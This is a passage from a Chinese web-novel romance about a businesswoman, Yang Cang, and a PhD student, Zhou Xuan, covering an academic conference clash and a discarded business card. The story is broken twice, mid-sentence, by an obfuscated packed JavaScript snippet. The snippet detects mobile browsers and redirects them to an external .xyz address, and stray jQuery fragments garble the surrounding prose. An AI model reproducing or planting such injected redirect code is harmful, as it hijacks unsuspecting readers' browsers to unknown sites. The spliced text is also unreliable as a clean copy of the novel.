阮嘉沣冲过来,兴致冲冲在她旁边说:“我换新女朋友了。” 杨沧早就习惯,眼神都不给他一个。 “你快猜猜是谁,这女的你还认识,不,应该只算是见过。” 杨沧出牌的手顿了下,阮嘉沣向来只谈在校漂亮女学霸,大概是没什么补什么,她的社交圈说大也不大,公司的人和她们圈子里的,这哪个都不符合阮嘉沣的要求。 蹙眉朝他看过去,她能想起来的,也只有一个淡蓝靓丽的背影。 阮嘉沣眨眨眼,好似在鼓励她说出那个猜测。 杨沧轻飘飘扫过他,接着看回桌面。 “哎呀你怎么不说。”阮嘉沣话到嘴边,激动的情绪硬生生被她噎回去了,结果杨沧不搭腔,他不得不自己先说:“就是那天校园里,咱俩都看到那个,坐在那个穷小子,周,周……什么后座那个。” 杨沧置若罔闻。 阮嘉沣:“那次没仔细看,我靠,这女孩长得是真漂亮,而且你知道吗,还是清大头牌学院里王牌专业的博士,搞芯片研究的,我操。” 她光想想这女孩脑袋有多聪明,就有些热血沸腾了。 简直不敢想,小时候那些让他抓耳挠腮的题,她做起来将是多么的信手拈来。 杨沧摆手:“去那边坐。” 阮嘉沣就是个行走的废话机器,喷射起来没完没了,杨沧像赶苍蝇似的赶他。 “诶,你这什么态度,我要是帮你把那男的墙角撬了,你不就更好下手了,还不感谢感谢我。” “哼。”她好笑瞧他:“女朋友?怎么做到的,说来听听。” 阮嘉沣支吾,半晌哼哼唧唧:“差点差点,刚打算追,不过你别担心,我出马,那还不是手到擒来吗?” 过往他就没有败绩。 杨沧嗤了声,想到那日超市遇见女孩时她的模样,再看眼前这个满眼傻乐头脑空空四肢发达的灵长类动物,嫌弃意味更浓,压根懒得接腔,甩下手里的牌,“钱照旧,我先走了。” 周围一圈人哭嚎,“沧姐你过分了啊,怎么牌九也会算啊。” 回回出来输钱,这些公子哥小姐这么喊着,打趣为多,就算她们玩的不小,这钱也是洒洒水。 阮嘉沣的话杨沧压根没放到心里,直到参加一次学术交流。 阮嘉沣的爷爷阮培强是国内半导体研究领域的大拿,1955年帮助清大建立了集成电路学院,直到现在退休,在这个行业依旧有十足的影响力。 最近一段时间,他作为发起人,组织了一场名为人工智能与星火大模型技术的校企交流会,杨沧名下的公司华大智能受到邀约,抱着学习交流的态度,她带着队伍里的两人前去参加。 会议结束后,美食沙龙跟着开始,杨沧没什么胃口,拿了点水果就找了个角落坐下了。 阮嘉沣苦着脸,垂头丧气朝她走过来。 杨沧瞧他一眼,让这不学无术的家伙在这种地方待一上午,对他确实算种折磨。 不过,阮嘉沣丧气之外,更带着几分恼怒。 在她旁边坐下后,就开始怨愤:“靠,聪明有什么了不起,装什么装。” 他不指名道姓,杨沧就知道他在说谁。 上午的交流会,除了企业人才、学界大佬、还有两位学生代表,其中之一就是周轩。 杨沧不意外这种级别的学术交流他能参加,只意外于他半个小时前的侃侃而谈和结束后的掌声。 她低头,咬着块哈密瓜漫不经心的咀嚼,心想:他是很优秀。 这么想着,便下意识反驳了阮嘉沣的话:“聪明不了不起,你净找聪明的谈恋爱?有这时间嫉妒别人,不如晃晃你脑子里的水,想想这一上午有没有灌进去点有用的东西。” 阮嘉沣被她这么一噎,更是怒火中烧,加上爷爷对他的赞不绝口还有连日来热情追求傅一璇后她的无情拒绝,一肚子的火彻底烧了起来。 猛地站起来,拧眉大步往用餐处走去,“哼,学习好有什么用,我得让他知道知道这是谁的地盘。” 即便是学术交流,也是有门槛和身份要求的,即便你再优秀讲的好,在一群大佬和企业领导这里,也只能坐末尾的桌子。 阮嘉沣在最后排看到独自一人,正安静吃饭的周轩,笑的灿烂又鄙夷,走过去在他对面坐下。 周轩抬头看了他一眼,继续低头吃饭。 阮嘉沣抱臂,似笑非笑地看着他用餐:“是得多吃点,五星级的酒店,可不是你这种穷学生能常来的地方。” 周轩吃饭的动作慢下来,来者不善,他依旧慢条斯理,“你认识我?” 对方的胸口挂着一个企业员工的牌子,上面的名字阮嘉沣——阮。显然牌子只是进出方便,独特的姓氏彰显了一目了然的身份。 今天能见到阮培强,听他演讲已是不枉这一趟,倒是没想到还有其他阮家人。 阮嘉沣坏笑:“怎么,周同学竟然没有从自己的女朋友嘴里听过我的名字吗?” 他做作摇头:“我可太伤心了,毕竟这段时间我这么热情的在追求她呢。” 闻言,周轩的脸一下冷了下来,周围的气氛也变得僵硬,漆黑的眼睛静静落在阮嘉沣张牙舞爪挑衅坏笑的脸上。 傅一璇不是个担不了事的人,即便如此还是忍不住向他烦恼的诉苦:“好奇怪,最近有个校外的人,莫名其妙总是来找我。我听其他同学说,他是个花花公子,和咱们学校好多漂亮女孩都谈过。” 傅一璇百思不得其解:“怎么就找上我了,再说我都有你了啊,他怎么说都不听呢。” 周轩一眼便看出对方来意,放下筷子,起身就要走。 对这种玩世不恭又恶劣被宠坏的少爷,周轩不指望能通过自己的嘴皮子教化他,更何况对方显然是找麻烦的,而这场学术交流是导师派他过来的,他更不可就这样弄砸了。 “诶你走干嘛,我还没说话呢。”阮嘉沣笑嘻嘻去扯他袖口,周轩要躲,他顺势推翻了周轩的餐盘,噼里啪啦,本就安静文明交流的大厅传来刺耳的声音。 有几位学者蹙眉看向这边,只停了几秒就收回去了。 即便如此,也是巨大的失态,周轩看向故意撞翻他东西的人,“你想干什么?” 他的西装裤腿已经溅上了一些菜汁。 “啧啧啧。”阮嘉沣摇头打量他,“这身西装租的吧,啧啧,上了这么多年学说的那么花里胡哨,连件衣服都买不起?” 他点点他的衬衣,“我穿都不穿这么劣质,你怎么还租个这么差的,这不是丢我爷爷的脸吗?下次这种规格的学术交流,我看你也别来了。” 他笑的灿烂,眉飞色舞地抱臂看着他。 只是他同爷爷一句话,博士又如何,他可以让他以后都彻底消失在这样的学术交流中。 周轩眉目平静,“我不来,会上都是诸如你这样的绣花脑袋,阮老先生的美名,不就彻底砸在你手里了。” “你!”阮嘉沣恼怒,说什么都行,就是不能说他脑子不好,点在他胸口的手就想甩在他身上,结果还未抬臂,脆亮又催命的高跟鞋踩过光滑瓷片的咚咚声由远及近。 阮嘉沣后背一凉,一头毛发树立的老虎瞬间成了只温驯的猫,笑着看回身后,带着点讨好:“你怎么来了?” 他错身,周轩看到了从他身后走上前的女人,眉几不可见的动了下。 “不来让你在这丢人现眼?”杨沧红唇微弯,、“别忘了今天的任务,学习汇报晚上发给我。” “……杨沧。”阮嘉沣靠近她小声喊,现在什么状况,这点面子都不给他,“我交我交,你先走。” 杨沧抱臂,八风不动看他。 阮嘉沣和她对视,也品出点其他意思来,懊恼的神情逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000294|148466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得意味深长,似笑非笑道:“行,那这块宝地就让给你了。” 说完,他瞧着周轩,笑的微妙的从他身边走开了。 清洁工过来,小心清理地上的饭菜。 周轩朝她颔首,转身离开。 “周同学就这么走了,都不给我个感谢的机会吗?”杨沧笑道。 周轩脚步顿了下,转头看她。 杨沧往前跨一步,拉近了两人的距离,隔着不到半臂的距离,细细打量对方的眉眼,沉稳端庄,眉眼平和,在这样大佬云集的场合里不见怯懦卑微,让她见一次有一次新惊喜。 杨沧朝他伸手,“自我介绍一下,这次交流会的主办企业之一……” “华大智能。”周轩打断她,“杨小姐领导的团队倒是很优秀。” 刚才她员工在台上的演讲,他也看到了,言外之意,领导的弟弟就不怎么样了。 杨沧笑容不变,自然听出他的意思,耸肩道:“他是有些张狂。” 阮嘉沣这人不知天高地厚,一身的臭毛病,杨沧看他哪哪都不顺眼,但是他出生便有傲慢嘚瑟的资本,在外人面前,她也不会随意指责他的行为。 周轩不置可否,只问:“杨小姐有话要说?” 杨沧笑容就更灿烂了,“今天的裙子穿的舒服,倒是要感谢周同学推荐的乳贴了。” 周轩眼眸深邃,落在她暖黄色的旗袍上,分明是克制得体的穿着,在今天的场合里也十分优雅端庄,却在她妩媚流转的笑里,更多了几分风情万种。 不过这和他并无太大关系,即便她说这话时朝他又靠了一些,他依旧点到为止的收回目光,客气道:“那不过是我该做的事。” “NO NO。”杨沧摆手,“周同学学术做的好,兼职便利店也干得好,这样的人才,自然值得夸奖,就是……” 她目光落向他的裤腿,“可惜了这衣服,周同学要赔,可能又要熬几晚的夜班了吧。” 周轩蹙眉,不知她想干嘛,“无碍,清洗一下就可以。” 他借口想走,杨沧微抬手臂拦住了他,跟着一个香槟色名片落在他的眼底,“周同学不收小费,不会现在这个赔衣服的钱也不收吧。” 周轩看过去,沉默。 今天场上有不少学者都想要华大智能负责人的名片没要到,现在这个名片就这么轻飘飘的递在他跟前,作为国内顶尖智能公司,这张名片无疑是一张绝好的敲门砖。 他摇了摇头,“回去洗一洗就行了,没你想的那么严重,不打扰了。” 他侧身要走。 杨沧无奈,好似十分遗憾地拍拍他,“好吧,那就不打扰周同学了,祝你最后的博士生活顺利。” 周轩看了她一眼,颔首道:“多谢。” 说罢,他大步就走了。 杨沧看着他挺立如竹的背影远去,兴致盎然的笑意浮在眼中。 虽然只是参加了一场学术交流,但周轩为此准备了小半个月,因此结束后回到学校,比做了一周的实验还累,疲倦的换掉衣服去洗澡。 出来后,看到凳子上搭的衣服,叹了口气。 这身西装是问隔壁师弟借的,虽然对方强调“师兄你随便穿”,但也不该随便到裤腿上溅着菜汁,他走出会场就去厕所简单清洗了一下,但那里还是有些异味。 周轩叠起衣服,打算趁天还不晚送去干洗店,如果还不行,只能赔钱了。 刚抽起上衣,倒着的西装口袋飘出一个纸片,夺目的香槟色在空中打了个旋,最后落在他身前。 俯身捡起,手中,一张手触碰便可感觉质感不一般的名片。 没有前缀,没有公司支撑,似乎不用任何的冠名,整张名片上,只有“杨沧”两个大字,下面跟着一行电话号码。 周轩想到她最后巧笑嫣然看他,轻拍在他身上的动作,对着这张名片看了几秒,最后在拿着袋子出门干洗时,顺手扔在了门口的垃圾桶里。 他是个保守的人,从不主动接近危险。 15. 杨沧的名片 15.杨沧的名片 干洗完的西装送回去后,周轩道明那日衣服上的污垢。 师弟马彬彬摆手:“师兄你也太客气了,沾了点菜算什么,再说了我这衣服又不常穿,放着也是放着。” 对方不计较,周轩之后还是找了机会,在他对每周汇报一筹莫展的时候,提了几个思路。 马彬彬那几日都心情灿烂,自觉借着一件衣服,终于抱上了高冷师兄的大腿,这可堪比一个行走的外挂,有师兄帮忙,他哪还用每天愁眉苦脸的做实验,之后有问题就去找周轩。 这日,他的实验数据又出了问题,拿着资料来找周轩,到了才发现门没锁,寝室里却没人。 发消息问,周轩回他:导师办公室,一会回去。 马彬彬笑哈哈的说:“那我就在你寝室等你了。” “嗯。” 干脆的回复,马彬彬习以为常,好奇的在他的寝室里打转,像是刘姥姥进了大观园。 这可是他们同门最牛的师兄周轩的寝室,每周汇报写的精彩漂亮,又一门心思的潜心做研究,很得他们导师认可。平日里周轩不苟言笑,人看似温和,但他们也不敢随意冒犯,慢慢就小心翼翼处起来了。这次进了他的寝室,怎么能不好奇。 转了一圈又一圈,桌子上的书没敢抽出来看,只眼神四处瞥着,一边擤了下鼻涕。 最近他鼻炎犯了,不管人走到哪,都带着一大摞卫生纸。 走到垃圾桶边要丢纸,动作在看到空空如也的垃圾桶里一闪而过的金色时愣了下。 师兄不会是扔错东西了吧。 他好奇的捡起来,随后发现是一张名片,大概是售卖东西之类的,他不是很感兴趣,随后就又丢回垃圾桶。 坐到床边后,脑子里却闪过“杨沧”二字。 这名字,这名字…… 怎么好像有点熟悉。 他迷迷糊糊想着,忽然脑子里闪过一道电流,让他蹭的一下坐起窜到垃圾桶里,又翻出那张名片,手有些抖地看着上面的联系方式。 杨沧!杨沧! 华大智能总经理,名下还有光紫集成电路公司,恒方跳动公司等,是中国集成电路设计产业中的代表人物。 更重要的是,院里最近在搞的校企联合推动实验室建设项目里,想要拉投资的重要公司之一就是杨沧名下的光紫集成电路公司。 马彬彬看的手都在抖,这么精致的名片,怎么可能是推销的小广告,而且他有强烈的直觉,这个名片一定是他在找的杨沧! 学校最近派了两位负责老师和他等五个人去光紫谈合作,几次都无功而返,连负责人面都没见到,却没想到柳暗花明又一村。 他正激动着,门忽然推开,周轩走进来,马彬彬激动到脸色涨红的看向他。 周轩看清他动作,顿了下,随后平静关上门。 最近实验出了问题,他这段日子都住在实验室里,倒是忘了清理垃圾桶。 “师兄!”他飞快抓住他胳膊,“这,这个不会就是我们在找的杨沧吧,你认识她?你怎么会有她名片?” 周轩摇头:“你误会了。” “怎么可能。”马彬彬拿出手机,“我打下试试。” 死马当作活马医,最近这段时间他被这件事搞得焦头烂额快要疯了,还没拨出去,周轩按住了他手机。 马彬彬眼里一瞬间爆发刺眼的光亮,“师兄,就是她,对不对!” 周轩沉默。 实际上,导师刚才找他,也是在谈拉投资进展不顺这件事,让他加入马彬彬他们组,先帮助学校实现此次合作。 周轩想不到,那个危险含笑的女人,竟然是他们最终要找的负责人。 马彬彬思路很快,抓住他激动道:“师兄,你是不是和她认识,那这通电话你来打,只要这件事能办下来,就算是今年你博士延毕了,导师都不会怪你啊!” 还有他,他作为组里成员,能不能获得国奖,这这项目绝对是重要影响因素啊。 周轩:“我和她并不相熟。” “师兄!你知不知道,就连高教授和刘老师两位同去都没见到杨沧本人,你有她联系方式,这已经远远甩出我们一大截了!” 他不断游说,周轩只问:“你的实验数据我拿来看看。” 他这么调转话头,马彬彬却并不放弃,答疑解惑后仍忍不住劝说,“师兄,我们只是会死读书的学生,你知道这种资源对我们来说有多重要吗?” 他诚恳道:“师兄,你一定要学聪明点。” 周轩无奈,空荡荡的寝室里,他看着又回到手里的名片好笑摇头,没想到有一天他会被同门里脑子最笨的师弟这样教育。 没过几天,周轩又被导师叫去了办公室。 汇报完最近的实验和论文后,邰志德不经意地提起:“听同学们说,你认识光紫的负责人?” 周轩愣了下,回复:“只是上次交流会见过一面。” 年近七旬,仍躬身教学的邰志德笑呵呵:“看来,多让你出去走走还是不错的,搞研究也不能整日里两耳不闻窗外事。” 他问了些交流会的事,又聊起光紫公司在通信技术方面做出的一些成绩,并没有过多的停留在杨沧这个人身上。 走出办公室后,周轩想到邰志德看着他时那含笑满意的目光,眉轻蹙了下。 在这个导师身边七八年,即便什么也没有说,周轩也猜出了他的意思。 连着几日,实验室里都有同学好奇的目光看过来,马彬彬时不时来劝说他几句,好似这么一条大鱼他放过简直天理难容,并未为这大好事让别人知道了感到抱歉。 周轩不在乎其他人的想法,却不能忽略了邰志德。 硕博六年,在同门师兄妹都争抢着发了核心时,他还一篇论文都没有发表,这在邰志德的门下简直是不可能的事,但他总是笑嘻嘻挡回了其他人的质疑,“我对我这位学生做事有信心。” 清大对学生毕业有发文要求,如果不是邰志德,没有在核心杂志发表文章的他当初甚至不能顺利研究生毕业,更何谈读博。 然而…… 周轩想到那日交流会的事,心里无奈叹气。 傅一璇看出他最近几日情绪不佳,也听到同门探讨的声音,没有问太多,喊他出去吃饭,“别拧着眉了,咱俩出去吃点好吃的放松放松啊。” 周轩知道她最近因为毕业论文也焦头烂额的,不想耽误她的时间。“不用了,晚上还要去实验室一趟,你先回去改论文吧。” “好吧。”博三最后阶段,没有什么比顺利毕业更重要的,傅一璇抱抱他,骑着自行车走了。 周轩在校园里乱转,想要捋清思绪。 “原来清大的学霸,想东西都是无头苍蝇似的在校园里乱转啊,怪不得学校里这么多人呢。” 一声调侃的笑从旁边传来,周轩闻声看过去,目光落在女人明艳笑容上,脚步顿住。 一棵粗壮的百年老榕树下,站着身着靓丽红裙的女人,乌黑的长发如同瀑布倾泻在她的腰间,晚风轻轻拂动,流露出她那总是自信从容的脸,那双目光锐利独特,捕捉在人的身上时,像猎人兴致昂扬的盯着一个有趣的猎物。 她似乎总喜欢穿明艳的颜色,加上她游刃有余又带着几分逼人的气场,在这个青春校园里,显得格外与众不同。 没人会把她当做一位单纯的女学生,否则他也不会因为一张名片细细琢磨。 杨沧张扬含笑的视线直直落在他身上,周轩只得走过去。 “杨小姐怎么会在这里?” 杨沧好整以暇地盯着他:“我还以为你会忘记我了呢。” “杨小姐这样的人,应该没有人见了两次还能忘。” 周轩纯粹是叙述客观事实,杨沧却像是听到了多悦耳的话,笑的更灿烂,往日里这样的漂亮话说的比周轩有水平的不知多少,但只有他清冷又一丝不苟的这样说,更能让她愉悦。 “那今日这第三次,不期而遇也算巧妙,不如周同学带我逛逛校园?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000295|148466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周轩想说,只要她愿意,清大校长也能来带着她转,话到嘴边,在她灼灼的目光里,也只能改道:“好。” 两人沿着榕树往静水湖边走,两岸绿荫环抱,清凉惬意。湖面绿意悠悠,水波荡漾,与远处山色辉映,湖光山色相映成趣。 杨沧说是看景,周围美景却总是略略扫过,眼神总会直直落在他脸上,大概是身居高位太久,她看人的目光没有丝毫的掩饰,直接灼热,让周轩不得不转头看她。 杨沧挑眉,一抹红唇勾起,“我倒是好奇,什么问题,能让周同学走路都心不在焉。” 周轩:“杨小姐还没回答我,你怎么会在这里?” “这个问题重要吗?” “或许。”他说的模棱两可。 “唔……”杨沧摸着下巴,“你猜?” 周轩无奈。 杨沧大笑:“贵校想拉我投资,那么一大笔钱,我当然要来实地考察一下啊。” 周轩:“在这能看出什么结果?” 杨沧转身,停在他身前,两人隔着半臂的距离,她的目光有趣而意味深长,“可我怎么觉得结果就在这。” 周轩从容回视,又绕开她继续往前走。 杨沧看着他背影,薅了把旁边长得老高的狗尾巴草,一边玩一边懒洋洋走上前,“周同学莫不是以为,我是陪阮嘉沣来的?” 她嫌弃地说:“他倒是想,我只嫌辣眼睛。” 过去一周阮嘉沣提过不止一次,“你真不想去学校看看?” 他笑的蔫坏,眉飞色舞的朝她眨眼。 杨沧面无表情拍开他的脸,起身走人。 “喂!天天工作有什么意思,年纪轻轻事业地位你哪个不成功,找个男人玩玩才有趣好嘛!” 她要是想,哪需要他做媒介。 杨沧再次和他并肩同行,手上的狗尾巴草却忍不住在他的脸侧划拉,毛茸茸地拂过:“周同学要是有困惑,不如请我帮忙?” 她开玩笑的语气,周轩却是停下了脚步,转身面向她。 杨沧也愣了下,驻足,狗尾巴草浮浮扫过他嘴角,最后落回她手心。 “好啊。” 他漆黑的目光直直落在她脸上,“杨小姐愿意帮?” 周轩这种人,哪会随便寻人帮忙,更何况她显然别有筹谋,然而他就这么应了,杨沧的兴致反而更浓烈,像久经沙场的人突然遇到了有挑战性的对手。 “当然。”杨沧把狗尾巴草递给他,“什么忙,说来听听?” 周轩笑:“那就请杨小姐帮我管好自己的家人,让不懂事的人离我的女朋友远一些。” “你说的忙……就是这个?”杨沧确定他的烦恼不是这个。 “对。” “你知道别人找我帮忙都是做些什么吗?” 求名,求利,求财,她以为她的话已经说的够清楚了。 周轩反问:“是我的话说的不够清楚吗?” 杨沧的笑渐渐敛了几分,很显然,他在回击,回击她过分的目光,回击她自以为是的资本,给她刚才没有分寸的举动一个确切的答案。 “我帮你,你能回报我什么?”她没有情绪地反问,然后随口说的一般:“和你女朋友分手?” 周轩眯起眼睛,危险的视线审视她。 杨沧耸肩,又笑起来,“办不到就算了,不如请我吃包子?” 当然,她也在回敬他,第一次见面没吃到嘴的包子。 周轩没有回答,只是把塞给他的狗尾巴草又还到了她手里,“有学生喜欢晚上在这边做些事情寻求刺激,花草都未必干净,杨小姐还是不要随意采摘的好。” 说罢,他继续往前走了。 杨沧抱臂,视线落在他高挑端方的背影上,兴致盎然的意味更浓,好笑地瞧向手里的草,扬手丢进湖里。 湖面的涟漪向四处漫延。 夏日、晚风、绿荫,蜻蜓在荷花边振翅的声音,掩盖了女人低低的一声轻笑。 “好像……是有点好玩。”